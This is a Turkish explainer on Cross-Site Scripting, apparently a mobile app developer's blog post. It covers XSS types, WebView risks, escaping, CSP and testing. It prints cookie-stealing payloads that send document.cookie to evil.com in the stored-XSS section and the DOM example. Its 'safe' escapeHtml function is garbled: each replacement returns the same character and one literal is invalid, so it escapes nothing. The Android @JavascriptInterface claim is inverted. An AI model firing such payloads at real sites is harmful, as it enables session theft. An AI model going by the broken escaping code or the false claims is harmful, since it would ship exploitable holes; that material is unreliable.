XSS (Cross-Site Scripting), bir saldırganın diğer kullanıcılara gösterilen içeriğe kötü amaçlı JavaScript kodu enjekte ettiği bir web uygulaması güvenlik açığı türüdür. OWASP Top Ten (2025)'e göre, XSS en yaygın güvenlik açıklarından biri olmaya devam etmekte ve web uygulamalarının %60'ından fazlasını etkilemektedir. Cross-Site Scripting, oturum çerezlerini çalmaya, kullanıcıları kimlik avı sitelerine yönlendirmeye ve sayfa içeriğini gerçek zamanlı olarak değiştirmeye olanak tanır.
Önemli Noktalar
XSS (Cross-Site Scripting), bir saldırganın bir web sayfasına JavaScript kodu enjekte etmesine olanak tanıyan ve daha sonra kurbanın tarayıcısında çalıştırılan bir güvenlik açığıdır. Tarayıcı, güvenilir bir web sitesinden sayfayı yükler ve enjekte edilen scripti sitenin meşru koduyla aynı ayrıcalıklarla çalıştırır. Bu, saldırgana çerezlere, oturum depolamasına, sayfanın DOM ağacına erişim ve kurban adına istek gönderme yeteneği verir. XSS güvenlik açıkları, bir uygulamanın uygun kaçış veya doğrulama olmadan kullanıcı verilerini bir HTML sayfasına eklemesiyle oluşur.
Cross-Site Scripting terimi ilk olarak 2000 yılında bir Microsoft Güvenlik Bülteni'nde ortaya çıktı. Son 25 yılda, XSS önemini kaybetmedi: HackerOne (2025)'e göre, XSS platformda kayıtlı tüm güvenlik açıklarının yaklaşık %22'sini oluşturmaktadır. XSS'in kalıcı olmasının nedeni, kullanıcı verilerinin tüm giriş noktalarını kontrol etmenin zorluğudur. Herhangi bir giriş alanı, URL parametresi, HTTP istek başlığı veya dosya adı, veriler işlenmeden HTML koduna yansıtılırsa bir saldırı vektörü haline gelebilir.
XSS saldırıları oturum çerezi hırsızlığına yol açarak bir saldırganın şifresiz olarak kurbanın hesabına giriş yapmasını sağlayabilir. Diğer sonuçlar arasında: kimlik avı sitelerine yönlendirme, sayfa içeriğinin değiştirilmesi, kişisel verilerin çalınması ve kötü amaçlı yazılım yüklemesi (drive-by download) yer alır. 2023'te, Salesforce Community Cloud platformuna yapılan bir XSS saldırısı binlerce kurumsal müşterinin verilerini etkiledi ve büyük platformların bile bu güvenlik açığına karşı bağışık olmadığını gösterdi.
XSS sınıflandırması, saldırıları kötü amaçlı kod teslim yöntemine göre üç ana türe ayırır. Her tür farklı bir koruma yaklaşımı gerektirir: Stored XSS, veritabanından çıktının kaçış karakterleriyle işlenmesiyle; Reflected, URL parametrelerinin kaçış karakterleriyle işlenmesiyle; DOM-based, DOM API ile güvenli bir şekilde çalışılarak engellenir. Farkı anlamak, etkili bir güvenlik stratejisinin temelidir.
| Tür | Script Depolama | Teslim Vektörü | Tespit Zorluğu |
|---|---|---|---|
| Stored XSS | Sunucu Veritabanı | Yorumlar, profiller, mesajlar | Orta |
| Reflected XSS | URL Parametreleri | Kimlik avı bağlantıları, e-posta | Yüksek |
| DOM-based XSS | İstemci Tarafı JavaScript | URL parçaları, postMessage | Çok yüksek |
En tehlikeli XSS türü. Bir saldırgan, sunucunun bir veritabanında sakladığı ve her sayfa yüklemesinde görüntülediği verilere bir script enjekte eder. Tipik bir vektör yorum alanıdır: saldırgan <script>document.location='https://evil.com/?c='+document.cookie</script> içeren bir yorum yayınlar. Bu yorumu içeren sayfayı yükleyen her kullanıcı, çerezlerini saldırgana gönderir. Stored XSS, kurbanın sayfayı ziyaret etmek dışında herhangi bir işlem yapmasını gerektirmez — bu da onu sosyal ağlar, forumlar ve bloglar için özellikle tehlikeli kılar.
Kötü amaçlı script bir HTTP isteğinde (genellikle bir URL parametresinde) iletilir ve sunucu tarafından yanıtta hemen yansıtılır. Saldırgan https://example.com/search?q=<script>...</script> gibi bir bağlantı oluşturur ve bunu kimlik avı, sosyal ağlar veya e-posta yoluyla dağıtır. Bağlantıya tıklayan kurban, girilen arama sorgusunun (script) kaçış karakterleri olmadan görüntülendiği bir sayfa alır. Reflected XSS, sosyal mühendislik gerektirir — kurbanın bağlantıya tıklaması gerekir, bu da riski azaltır ancak ortadan kaldırmaz.
Stored ve Reflected'ın aksine, DOM-based XSS sunucuya veri gönderilmesini gerektirmez. Güvenlik açığı, istemci tarafı JavaScript'in güvenli işleme olmadan URL, document.referrer, postMessage veya localStorage'dan kullanıcı verilerini DOM'a eklemesiyle oluşur. Örneğin, document.getElementById('output').innerHTML = location.hash.substring(1) gibi kod, URL parçasından (#<img onerror='...'>) herhangi bir HTML ve scripti çalıştırır. DOM-based XSS'in tespit edilmesi en zor olanıdır çünkü sunucu kötü amaçlı yükü asla almaz — tamamen istemcide işlenir.
// DOM-based XSS Örneği (ZAYIF KOD)
// userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>" ise
const userInput = new URLSearchParams(
window.location.search
).get('message');
// document.write — tehlikeli: ham HTML ekler
document.write('<div>' + userInput + '</div>');
// GÜVENLİ ALTERNATİF — textContent kullanın
document.getElementById('output').textContent = userInput;
XSS, web'in temel bir özelliğinden yararlanır: tarayıcı, güvenilir bir etki alanından alınan JavaScript'i çalıştırır. Bir saldırgan, kodunu sunucunun HTML yanıtına enjekte etmenin bir yolunu bulursa, tarayıcı onu meşru kodla aynı ayrıcalıklarla çalıştırır. Saldırı üç aşamadan geçer: içeriğe kötü amaçlı kod enjeksiyonu, içeriğin kurbanın tarayıcısına teslimi ve DOM, çerezler ve depolamaya erişimle kod çalıştırma.
Saldırgan, sunucunun kaçış karakterleri olmadan HTML yanıtına dahil ettiği değere sahip bir giriş noktası — bir alan, URL parametresi veya başlık — bulur. Tipik giriş noktaları şunları içerir: arama çubukları, yorum alanları, kullanıcı adı, avatar URL'si, çerezler, HTTP başlıkları (User-Agent, Referer). Modern çerçeveler (React, Angular, Vue) çıktıyı otomatik olarak kaçış karakterleriyle işler, ancak geliştiriciler dangerouslySetInnerHTML, bypassSecurityTrustHtml veya v-html aracılığıyla kaçışı devre dışı bırakabilir.
Reflected XSS için, saldırgan kötü amaçlı bağlantıyı dağıtır. Stored XSS için, hedef sitede içerik yayınlamak yeterlidir ve sayfanın her ziyaretçisi kurban olur. DOM-based XSS, belirli bir URL parçasıyla bir sayfa yüklendiğinde etkinleştirilir. Her üç aşama da otomatikleştirilebilir: bir reklam banner'ında (üçüncü taraf içeriği) XSS keşfedilirse, banner kaldırılana kadar saldırı sitenin tüm kullanıcılarını etkileyecektir.
// Aramada Reflected XSS Örneği (ZAYIF BACKEND)
// q parametresini kaçış karakterleriyle işlemek yerine, sunucu onu HTML'ye ekler
// Express.js — zayif işleyici:
app.get('/search', (req, res) => {
const query = req.query.q; // kullanıcı girişi
res.send(`<h1>Results for: ${query}</h1>`);
});
// GÜVENLİ SÜRÜM — encodeURI veya şablon motoru aracılığıyla kaçış:
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Results for: ${query}</h1>`);
});
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
Mobil uygulamalar da web sitelerinden daha az olsa da XSS saldırılarına karşı hassastır. Ana vektör WebView ve hibrit çerçevelerdir (Cordova, Capacitor, React Native with WebView). Uygulama WebView'da web içeriği yüklüyorsa — özellikle kullanıcı içeriği (HTML e-posta, makaleler, mesajlar) — bir XSS güvenlik açığı, JavaScript köprüsü aracılığıyla yerel işlevlere erişim ile uygulama içinde JavaScript yürütülmesine yol açabilir.
Android WebView varsayılan olarak JavaScript'i çalıştırır. Uygulama loadDataWithBaseURL() aracılığıyla bir HTML dizesi yüklerse veya kullanıcı içeriği görüntülerse, bir XSS saldırısı saldırgana JavaScript arayüzüne (addJavascriptInterface) erişim sağlayabilir. Google, API < 17 için @JavascriptInterface kullanımını yasaklamıştır, ancak eski uygulamalardaki eski kod hala mevcuttur. Koruma: gerekli değilse WebView'da JavaScript'i devre dışı bırakın ve güvenli tarama kullanın.
React Native, kullanıcı arayüzü için WebView kullanmaz — bileşenler yerel görünümlerde işlenir. Ancak, HTML react-native-webview veya zengin metin bileşenleri aracılığıyla görüntülenirken, XSS riski geri döner. Flutter, kendi işleme motorunu (Skia) kullanır ve HTML widget'larında JavaScript'i desteklemez (flutter_html script etiketlerini çalıştırmaz), ancak WebView eklentileri (webview_flutter) yerel WebView'lara benzer şekilde savunmasızdır. En iyi uygulama — güvenilmeyen HTML'yi asla WebView'a iletmeyin.
// Android'de Güvenli WebView Yapılandırması
val webView = findViewById<WebView>(R.id.webview)
// Etkileşim gerekli değilse JavaScript'i devre dışı bırakın
webView.settings.javaScriptEnabled = false
// Yüklemeden önce HTML'i temizleyin
val sanitizedHtml = Jsoup.clean(userHtml,
Whitelist.basic()
.removeProtocols("img", "src", "javascript")
)
webView.loadDataWithBaseURL(null, sanitizedHtml,
"text/html", "UTF-8", null)
XSS'den korunma üç ilkeye dayanır: kullanıcı girişine güvenme, çıktıdan önce kaçış karakterleri kullan, Content Security Policy kullan. Çıktı kodlaması en önemli yöntemdir: kullanıcıdan alınan tüm veriler HTML, JavaScript, CSS veya URL'ye eklenmeden önce kaçış karakterleriyle işlenmelidir. Modern şablon motorları (Twig, Handlebars, JSX, Blade), geliştirici özel yöntemlerle kaçışı devre dışı bırakmadıkça bunu otomatik olarak yapar.
Kaçış, veri ekleme bağlamına bağlıdır. HTML bağlamında, <, >, & ve tırnak işaretleri kaçış karakterleriyle işlenir. JavaScript bağlamında, ters tırnak,
ve </script> kaçış karakterleriyle işlenir. CSS bağlamında — kontrol karakterleri. URL bağlamında — URL kodlaması. Bir bağlam hatası — örneğin, HTML için kaçış karakterleriyle işlenmiş bir dizeyi onclick özniteliğine eklemek — XSS'den korumaz çünkü onclick JavaScript bağlamında çalıştırılır ve farklı bir kaçış gerekir.
CSP, tarayıcının script, stil ve diğer kaynakları yükleyebileceği kaynakları sınırlayan bir HTTP başlığıdır. Sıkı bir CSP (unsafe-inline olmadan, unsafe-eval olmadan), XSS vektörleri dahil olmak üzere herhangi bir satır içi scriptin yürütülmesini engeller. Google Security Blog (2025)'e göre, CSP kullanan siteler XSS saldırılarının %95'ini engeller. Örnek: Content-Security-Policy: default-src 'self'; script-src 'self' tüm harici ve satır içi scriptleri yasaklar. CSP, script aynı etki alanından yükleniyorsa Stored XSS'den korumaz, ancak bu saldırganın ek çaba göstermesini gerektirir.
Çerezler için HttpOnly bayrağını ayarlamak, JavaScript (document.cookie) aracılığıyla erişimi engeller ve XSS yoluyla oturum çerezi hırsızlığını bloke eder. Secure bayrağı, çerezin yalnızca HTTPS üzerinden iletilmesini sağlar. HttpOnly + Secure + SameSite=Lax kombinasyonu, XSS yoluyla oturum çerezi hırsızlığını pratik olarak imkansız hale getirir. Ancak, XSS yine de kullanıcı adına işlemler gerçekleştirebilir (örneğin, istek gönderme), bu nedenle HttpOnly her derde deva değil, kapsamlı bir savunmanın parçasıdır.
| Koruma Yöntemi | Hangi XSS Türlerinden Korur | Etkinlik |
|---|---|---|
| Çıktı Kaçışı | Stored, Reflected, DOM-based | 99% |
| CSP | Satır içi XSS, eval tabanlı | 95% |
| HttpOnly çerezi | XSS yoluyla oturum hırsızlığı | 100% (okunamaz) |
| Giriş doğrulaması | Stored, Reflected | %50 (türe bağlı) |
| TRUSTED TYPES | DOM-based (innerHTML) | 90% |
Düzenli XSS testi, güvenli geliştirme CI/CD ardışık düzeninin zorunlu bir parçasıdır. Otomatik tarayıcılar, XSS güvenlik açıklarının %80'ine kadarını bulur; geri kalanı manuel sızma testi gerektirir. En iyi yaklaşım, SAST (statik) analizi, DAST (dinamik) taraması ve kullanıcı verisi giriş noktalarına odaklanan kod incelemesinin bir kombinasyonudur.
Mobil uygulamalar için XSS testi WebView analizini içerir: JavaScript arayüzlerinin kontrolü, URL şeması işleme ve loadDataWithBaseURL'ye HTML iletme. Hibrit uygulamalarda postMessage işlemenin test edilmesi ve JavaScript köprüsü aracılığıyla hangi verilerin iletildiğinin kontrol edilmesi de önerilir. Mobil uygulama trafiğini yakalamak ve değiştirmek için bir proxy (Burp Suite) ile bir emülatör kullanın.
Sıkça Sorulan Sorular
Stored XSS, kötü amaçlı scripti sunucuda (veritabanında) saklar ve her sayfa yüklemesinde tetiklenir. Reflected XSS, scripti bir URL parametresi aracılığıyla iletir ve saldırı yalnızca kötü amaçlı bağlantıya tıklandığında tetiklenir. Stored daha tehlikelidir çünkü kurbandan herhangi bir işlem gerektirmez — enfekte sayfayı açmak yeterlidir.
Hayır, HTTPS XSS'den korumaz. HTTPS, tarayıcı ve sunucu arasındaki trafiği şifreler ancak sunucu tarafındaki kullanıcı girişi işlemeyi etkilemez. XSS güvenlik açığı, taşıma düzeyinde değil, uygulama düzeyinde bulunur. HTTPS zorunlu bir asgari güvenliktir, ancak XSS'ye karşı bir savunma değildir.
Çoğu durumda, XSS tarayıcı veya WebView sanal alanı içinde yürütülür ve dosya sistemine veya cihaz donanımına erişimi yoktur. Ancak, JavaScript arayüzü etkin olan Android WebView'da, bir XSS scripti yerel uygulama yöntemlerini çağırabilir. iOS'te, uygun köprü yapılandırılmışsa WKWebView da JavaScriptCore aracılığıyla verileri ifşa edebilir.
Mobil cihazda yapılandırılmış bir proxy ile Burp Suite veya OWASP ZAP kullanın. Uygulama isteklerini yakalayın, parametreleri değiştirin ve XSS yüklerini gönderin. loadDataWithBaseURL aracılığıyla HTML işleme ve JavaScript köprülerinin varlığı için WebView'ı kontrol edin. React Native için WebView bileşenlerini ayrı ayrı test edin.
DOM-based XSS, sayfadaki JavaScript'in URL'den veya diğer kaynaklardan veri alması ve doğrulama olmadan HTML'ye eklemesiyle oluşan bir saldırıdır. Sunucu katılmaz — kötü amaçlı kod tamamen tarayıcıda işlenir. Tipik bir örnek: bir site location.hash'ten metin alır ve innerHTML aracılığıyla ekler, bu da herhangi bir HTML kodunun çalıştırılmasına izin verir.
Özet
Anahtar teslim bir mobil uygulama geliştireceğiz
IT Sectr, 2017'den beri girişimler ve işletmeler için iOS ve Android uygulamaları oluşturmaktadır. Size danışmanlık yapacak ve en iyi çözümü önereceğiz.
Ayrıca okuyun